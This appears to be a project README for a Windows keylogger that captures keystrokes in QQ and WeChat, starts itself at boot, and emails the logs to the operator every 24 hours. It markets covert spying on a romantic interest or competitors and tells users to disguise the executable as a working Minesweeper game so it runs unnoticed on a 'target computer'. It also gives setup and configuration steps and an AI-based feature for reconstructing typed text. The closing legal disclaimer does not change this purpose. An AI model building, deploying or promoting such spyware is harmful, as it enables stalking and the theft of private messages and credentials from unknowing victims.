Still infatuated with the girl you like? Still anxious about your competitors? This program can help you monitor the keyboard activities of target applications (such as QQ or WeChat) and record these data, which will automatically be sent to your email after a period of time.
- 🔍 Application Monitoring: The program monitors the running status of custom applications. When it detects that a specified application is running, it starts recording keyboard activities.
- 🔄 Auto Start on Boot: After running the packaged file, it will automatically add itself to the startup folder to achieve auto-start on boot.
- ⌨️ Keylogging: Records detailed information about keyboard presses, including key content, the number of times keys were pressed, and the time of key presses.
- 💾 Data Storage: Stores the recorded data in a compressed binary file to save storage space.
- 📧 Email Sending: The program periodically checks and sends the recorded keyboard data to a specified email.
- 📊 Data Reading: Provides an independent program
Read.py
for decompressing and reading the stored binary data, displaying the data in a tabular format, and allowing export to CSV or Excel files. - 🛠️ Packaging Tool: Provides a Package Tool that can package the program into a single executable file and supports custom icons.
- Application_Monitoring: Main program for monitoring the running status of QQ and WeChat, recording keyboard activities, saving data as compressed binary files, and periodically sending them via email.
- Read.py: Data reading tool that decompresses and reads the binary files generated by
Application_Monitoring
, provides data visualization, and export functions. We also added AI-based data interpretation functionality (requires your own API and filling in the list at the beginning of the code, currently supports only OpenAI, Zhipu Qingyan, Tongyi Qianwen). - Package_tool.py: Packaging tool for converting Python scripts into a single executable file, supporting custom icons.
-
Monitoring and Recording:
- Package
Application_Monitoring
(with Packaging Tool) into an exe file, then run it on the target computer. The program will continuously monitor the running status of QQ and WeChat in the background and start recording keyboard input. - The data is stored in real-time in the
key_data.bin
file. - Every 24 hours, the data will be sent to you via email.
- No need to worry about justifying the file. The file can be disguised as a Minesweeper game, with the packaged file being only 11MB in size. After running, it will open Minesweeper, while the monitoring program runs in the background, and even closing Minesweeper will not have any impact!
- You don't have to worry about Minesweeper popping up during auto-start. The program has an automatic detection function to determine whether it is starting from boot or being manually opened.
- Package
-
Reading and Exporting:
-
Run the
Read.py
program and drag in thekey_data.bin
file to view the recorded keyboard input data.⚠ Important: To run Read.py, you need to install the
PyQt5
,Pandas
andRequests
libraries. Install them by runningpip install pyqt5 pandas requests
. -
You can filter and export the data to CSV or Excel files for further analysis.
-
The tool's built-in AI functionality can be used to reconstruct and restore the data (requires your own API KEY, currently only supports OpenAI, Zhipu Qingyan, Tongyi Qianwen).
-
-
Packaging Tool:
- Your computer must have Python installed. You can download it here.
- The packaging tool can convert the main program into a standalone executable file. Click here. Drag the Python script into the interface to package it, supporting the addition of custom icons (simply drag in the image or icon).
- Running the Packaging Tool and packaging the main program requires installing
PyQt5
,keyboard
,psutil
,pywin32
,PyInstaller
andPillow
. Run the following command to install:pip install keyboard psutil pywin32 pyqt5 pyinstaller pillow
.
In the Application_Monitoring
file, there are several places where you need to fill in and modify the content to ensure the program works as expected:
-
📧 Email Configuration:
from_addr
: The sender's email address.to_addr
: The recipient's email address.password
: The sender's email SMTP authorization code. Please search for how to obtain the authorization code.
For example:
from_addr = "your_email@example.com" to_addr = "recipient_email@example.com" password = "your_email_password_or_smtp_token"
-
💽 File Storage Path:
compressed_file
: The file path for storing compressed data. Modify the storage path as needed, ensuring that the program has permission to read and write files in that location. It is recommended to write to a drive other than the C drive.
For example:
compressed_file = "D:\\your_path\\key_data.bin"
-
⏰ Time Interval Settings:
interval_time
: The program is set by default to send the record email every 24 hours (86400 seconds). You can modify this time interval as needed. The default is 24 hours.
For example, to send every 12 hours:
interval_time = 43200 # 12 hours in seconds
-
📱 Application List:
- Add applications in
applications = ["QQ", "WeChat"]
, default is QQ and WeChat. Applications should be separated by commas and enclosed in quotes. Note: The application needs to be in the name of the process rather than its display name (which can be found in the Task Manager). For example, Enterprise WeChat is called WXWork.
- Add applications in
-
🤖 API List in Read.py:
- If you need to use the AI data interpretation function, please fill in your API KEY in the list. If you don't want to fill it in the list, you can also fill it in temporarily when the program starts. Currently, we support only the API KEYS of OpenAI, Zhipu Qingyan, and Tongyi Qianwen. Additionally, in the
setup_model_selector
function, you can add more supported models as needed.
- If you need to use the AI data interpretation function, please fill in your API KEY in the list. If you don't want to fill it in the list, you can also fill it in temporarily when the program starts. Currently, we support only the API KEYS of OpenAI, Zhipu Qingyan, and Tongyi Qianwen. Additionally, in the
- Unified Application Monitoring: Simply input the application name in the list to monitor that application without manually adjusting the program code.
- Data Interpretation Tool: The current program can only record key content but cannot interpret complete pinyin input. In the future, a tool will be developed to interpret and reconstruct the actual text input by the user, making it easier to understand the input content.
- Auto Start on Boot: Added auto-start on boot functionality.
The features involved in this program may infringe on personal privacy or violate laws and regulations. Please ensure that you have obtained the explicit consent of the relevant personnel before use and comply with the laws of your location. Unauthorized monitoring and data collection may result in legal liability. The developer is not responsible for any illegal use or consequences arising therefrom.
Important Note: Please use this program with caution and adhere to all relevant laws and regulations.